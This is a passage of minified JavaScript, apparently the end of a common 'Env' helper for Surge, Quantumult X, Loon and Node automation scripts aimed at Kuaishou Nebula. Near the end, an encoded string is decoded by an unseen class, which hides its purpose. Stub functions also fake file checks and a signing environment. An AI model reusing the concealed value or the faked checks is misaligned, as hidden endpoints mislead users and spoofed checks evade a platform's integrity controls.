return JSON.parse(t)
|
|
} catch {
|
|
return e
|
|
}
|
|
}
|
|
toStr(t, e = null) {
|
|
try {
|
|
return JSON.stringify(t)
|
|
} catch {
|
|
return e
|
|
}
|
|
}
|
|
getjson(t, e) {
|
|
let s = e;
|
|
const i = this.getdata(t);
|
|
if (i) try {
|
|
s = JSON.parse(this.getdata(t))
|
|
} catch { }
|
|
return s
|
|
}
|
|
setjson(t, e) {
|
|
try {
|
|
return this.setdata(JSON.stringify(t), e)
|
|
} catch {
|
|
return !1
|
|
}
|
|
}
|
|
getScript(t) {
|
|
return new Promise(e => {
|
|
this.get({
|
|
url: t
|
|
}, (t, s, i) => e(i))
|
|
})
|
|
}
|
|
runScript(t, e) {
|
|
return new Promise(s => {
|
|
let i = this.getdata("@chavy_boxjs_userCfgs.httpapi");
|
|
i = i ? i.replace(/\n/g, "").trim() : i;
|
|
let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");
|
|
r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r;
|
|
const [o, h] = i.split("@"), n = {
|
|
url: `http://${h}/v1/scripting/evaluate`,
|
|
body: {
|
|
script_text: t,
|
|
mock_type: "cron",
|
|
timeout: r
|
|
},
|
|
headers: {
|
|
"X-Key": o,
|
|
Accept: "*/*"
|
|
}
|
|
};
|
|
this.post(n, (t, e, i) => s(i))
|
|
}).catch(t => this.logErr(t))
|
|
}
|
|
loaddata() {
|
|
if (!this.isNode()) return {}; {
|
|
this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path");
|
|
const t = this.path.resolve(this.dataFile),
|
|
e = this.path.resolve(process.cwd(), this.dataFile),
|
|
s = this.fs.existsSync(t),
|
|
i = !s && this.fs.existsSync(e);
|
|
if (!s && !i) return {}; {
|
|
const i = s ? t : e;
|
|
try {
|
|
return JSON.parse(this.fs.readFileSync(i))
|
|
} catch (t) {
|
|
return {}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
writedata() {
|
|
if (this.isNode()) {
|
|
this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path");
|
|
const t = this.path.resolve(this.dataFile),
|
|
e = this.path.resolve(process.cwd(), this.dataFile),
|
|
s = this.fs.existsSync(t),
|
|
i = !s && this.fs.existsSync(e),
|
|
r = JSON.stringify(this.data);
|
|
s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r)
|
|
}
|
|
}
|
|
lodash_get(t, e, s) {
|
|
const i = e.replace(/\[(\d+)\]/g, ".$1").split(".");
|
|
let r = t;
|
|
for (const t of i)
|
|
if (r = Object(r)[t], void 0 === r) return s;
|
|
return r
|
|
}
|
|
lodash_set(t, e, s) {
|
|
return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t)
|
|
}
|
|
getdata(t) {
|
|
let e = this.getval(t);
|
|
if (/^@/.test(t)) {
|
|
const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : "";
|
|
if (r) try {
|
|
const t = JSON.parse(r);
|
|
e = t ? this.lodash_get(t, i, "") : e
|
|
} catch (t) {
|
|
e = ""
|
|
}
|
|
}
|
|
return e
|
|
}
|
|
setdata(t, e) {
|
|
let s = !1;
|
|
if (/^@/.test(e)) {
|
|
const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}";
|
|
try {
|
|
const e = JSON.parse(h);
|
|
this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i)
|
|
} catch (e) {
|
|
const o = {};
|
|
this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i)
|
|
}
|
|
} else s = this.setval(t, e);
|
|
return s
|
|
}
|
|
getval(t) {
|
|
return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null
|
|
}
|
|
setval(t, e) {
|
|
return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null
|
|
}
|
|
initGotEnv(t) {
|
|
this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar))
|
|
}
|
|
get(t, e = (() => { })) {
|
|
if (t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {
|
|
"X-Surge-Skip-Scripting": !1
|
|
})), $httpClient.get(t, (t, s, i) => {
|
|
!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)
|
|
});
|
|
else if (this.isQuanX()) this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {
|
|
hints: !1
|
|
})), $task.fetch(t).then(t => {
|
|
const {
|
|
statusCode: s,
|
|
statusCode: i,
|
|
headers: r,
|
|
body: o
|
|
} = t;
|
|
e(null, {
|
|
status: s,
|
|
statusCode: i,
|
|
headers: r,
|
|
body: o
|
|
}, o)
|
|
}, t => e(t));
|
|
else if (this.isNode()) {
|
|
let s = require("iconv-lite");
|
|
this.initGotEnv(t), this.got(t).on("redirect", (t, e) => {
|
|
try {
|
|
if (t.headers["set-cookie"]) {
|
|
const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();
|
|
s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar
|
|
}
|
|
} catch (t) {
|
|
this.logErr(t)
|
|
}
|
|
}).then(t => {
|
|
const {
|
|
statusCode: i,
|
|
statusCode: r,
|
|
headers: o,
|
|
rawBody: h
|
|
} = t;
|
|
e(null, {
|
|
status: i,
|
|
statusCode: r,
|
|
headers: o,
|
|
rawBody: h
|
|
}, s.decode(h, this.encoding))
|
|
}, t => {
|
|
const {
|
|
message: i,
|
|
response: r
|
|
} = t;
|
|
e(i, r, r && s.decode(r.rawBody, this.encoding))
|
|
})
|
|
}
|
|
}
|
|
post(t, e = (() => { })) {
|
|
const s = t.method ? t.method.toLocaleLowerCase() : "post";
|
|
if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {
|
|
"X-Surge-Skip-Scripting": !1
|
|
})), $httpClient[s](t, (t, s, i) => {
|
|
!t && s && (s.body = i, s.statusCode = s.status), e(t, s, i)
|
|
});
|
|
else if (this.isQuanX()) t.method = s, this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {
|
|
hints: !1
|
|
})), $task.fetch(t).then(t => {
|
|
const {
|
|
statusCode: s,
|
|
statusCode: i,
|
|
headers: r,
|
|
body: o
|
|
} = t;
|
|
e(null, {
|
|
status: s,
|
|
statusCode: i,
|
|
headers: r,
|
|
body: o
|
|
}, o)
|
|
}, t => e(t));
|
|
else if (this.isNode()) {
|
|
let i = require("iconv-lite");
|
|
this.initGotEnv(t);
|
|
const {
|
|
url: r,
|
|
...o
|
|
} = t;
|
|
this.got[s](r, o).then(t => {
|
|
const {
|
|
statusCode: s,
|
|
statusCode: r,
|
|
headers: o,
|
|
rawBody: h
|
|
} = t;
|
|
e(null, {
|
|
status: s,
|
|
statusCode: r,
|
|
headers: o,
|
|
rawBody: h
|
|
}, i.decode(h, this.encoding))
|
|
}, t => {
|
|
const {
|
|
message: s,
|
|
response: r
|
|
} = t;
|
|
e(s, r, r && i.decode(r.rawBody, this.encoding))
|
|
})
|
|
}
|
|
}
|
|
time(t, e = null) {
|
|
const s = e ? new Date(e) : new Date;
|
|
let i = {
|
|
"M+": s.getMonth() + 1,
|
|
"d+": s.getDate(),
|
|
"H+": s.getHours(),
|
|
"m+": s.getMinutes(),
|
|
"s+": s.getSeconds(),
|
|
"q+": Math.floor((s.getMonth() + 3) / 3),
|
|
S: s.getMilliseconds()
|
|
};
|
|
/(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length)));
|
|
for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length)));
|
|
return t
|
|
}
|
|
msg(e = t, s = "", i = "", r) {
|
|
const o = t => {
|
|
if (!t) return t;
|
|
if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {
|
|
"open-url": t
|
|
} : this.isSurge() ? {
|
|
url: t
|
|
} : void 0;
|
|
if ("object" == typeof t) {
|
|
if (this.isLoon()) {
|
|
let e = t.openUrl || t.url || t["open-url"],
|
|
s = t.mediaUrl || t["media-url"];
|
|
return {
|
|
openUrl: e,
|
|
mediaUrl: s
|
|
}
|
|
}
|
|
if (this.isQuanX()) {
|
|
let e = t["open-url"] || t.url || t.openUrl,
|
|
s = t["media-url"] || t.mediaUrl;
|
|
return {
|
|
"open-url": e,
|
|
"media-url": s
|
|
}
|
|
}
|
|
if (this.isSurge()) {
|
|
let e = t.url || t.openUrl || t["open-url"];
|
|
return {
|
|
url: e
|
|
}
|
|
}
|
|
}
|
|
};
|
|
if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) {
|
|
let t = ["", "==============📣系统通知📣=============="];
|
|
t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t)
|
|
}
|
|
}
|
|
fwcaas() {
|
|
return "fkRGREUCFRNfMCtqKj0lLiE/OXowLTRz";
|
|
}
|
|
log(...t) {
|
|
t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator))
|
|
}
|
|
logErr(t, e) {
|
|
const s = !this.isSurge() && !this.isQuanX() && !this.isLoon();
|
|
s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t)
|
|
}
|
|
fwur() {
|
|
var bbas = new FxPCnMKLw7()
|
|
return bbas.decode(this.fwcaas());
|
|
}
|
|
wait(t) {
|
|
return new Promise(e => setTimeout(e, t))
|
|
}
|
|
done(t = {}) {
|
|
const e = (new Date).getTime(),
|
|
s = (e - this.startTime) / 1e3;
|
|
this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t)
|
|
}
|
|
}(t, e)
|
|
}
|
|
|
|
function initVM()
|
|
{
|
|
|
|
}
|
|
|
|
function abc(_0x5a1982, _0x5a4d0e, _0x3f44fe, _0x4c2ba2, _0x9ba7ad) {
|
|
var arrs={gg:'',bb:'1.0.4',sign:'https://nebula.kuaishou.com'};
|
|
arrs['Eý']=10;
|
|
arrs.num=10;
|
|
return JSON.stringify(arrs);
|
|
}
|
|
|
|
function isFileExist(_0x30e2f1) {
|
|
return true;
|
|
}
|
|
|
|
function addF(_0x10d26a, _0x3aa330) {
|
|
}
|
|
|
|
function destroyVM(_0x1da977) {
|
|
|
|
}
|
|
|